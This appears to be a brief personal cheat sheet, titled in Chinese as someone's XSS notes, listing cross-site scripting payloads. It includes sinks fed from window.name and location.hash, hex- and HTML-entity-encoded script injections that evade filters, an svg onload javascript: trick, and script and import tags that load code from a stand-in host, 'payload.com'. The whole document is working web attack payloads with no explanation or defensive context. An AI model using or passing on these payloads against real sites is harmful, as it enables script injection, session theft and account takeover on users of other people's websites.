香香的xss小记录（一）

eval(name);

<iframe src='http://localhost/?xss=eval(name);' name='js-code'>

setTimeout(location.hash.slice(1))

setInterval(location.hash.slice(1))

Function(location.hash.slice(1))(1)

jQuery.globalEval(location.hash.slice(1))

document.write`\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x31\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e`

document.getElementById('xx').innerHTML=`\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x31\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e`

document.write`\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x31\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e`

<svg/onload="location='javascript:/*'%2blocation.hash">
锚点后接*/jscode

<link rel=import href=\\payload.com>

<script src=\\payload.com></script>

<iframe srcdoc="&#x3C;&#x69;&#x6D;&#x67;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x78;&#x20;&#x6F;&#x6E;&#x65;&#x72;&#x72;&#x6F;&#x72;&#x3D;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x64;&#x6F;&#x6D;&#x61;&#x69;&#x6E;&#x29;&#x3E;"></iframe>